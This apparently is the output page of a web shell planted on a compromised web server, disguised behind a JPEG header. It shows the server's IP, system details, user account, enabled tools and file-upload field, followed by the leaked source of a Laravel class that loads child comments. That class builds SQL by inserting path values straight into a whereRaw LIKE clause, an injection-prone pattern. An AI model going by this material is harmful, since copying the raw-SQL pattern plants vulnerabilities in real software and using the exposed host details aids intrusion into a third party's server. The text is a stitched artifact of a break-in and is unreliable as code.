����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/1630575/root/proc/1630575/root/home/builderbox/./www/common/Comments/ |
Upload File : |
<?php
namespace Common\Comments;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Arr;
use Illuminate\Support\Collection;
class LoadChildComments
{
public function execute(Model $commentable, Collection $rootComments): Collection
{
$paths = $rootComments->map(function(Comment $comment) {
$path = $comment->getRawOriginal('path');
return "LIKE '$path%'";
})->implode(' OR path ');
$childComments = app(Comment::class)
->with(['user' => function(BelongsTo $builder) {
$builder->compact();
}])
->where('commentable_id', $commentable->id)
->where('commentable_type', get_class($commentable))
->childrenOnly()
->where(function(Builder $builder) use($paths) {
$builder->whereRaw("path $paths");
})
->orderBy('path', 'asc')
->orderBy('created_at', 'desc')
->limit(100)
->get();
$childComments->each(function($childComment) use($rootComments) {
$index = $rootComments->search(function($comment) use($childComment) {
return $comment['id'] === $childComment['parent_id'];
});
$rootComments->splice($index + 1, 0, [$childComment]);
});
return $rootComments;
}
}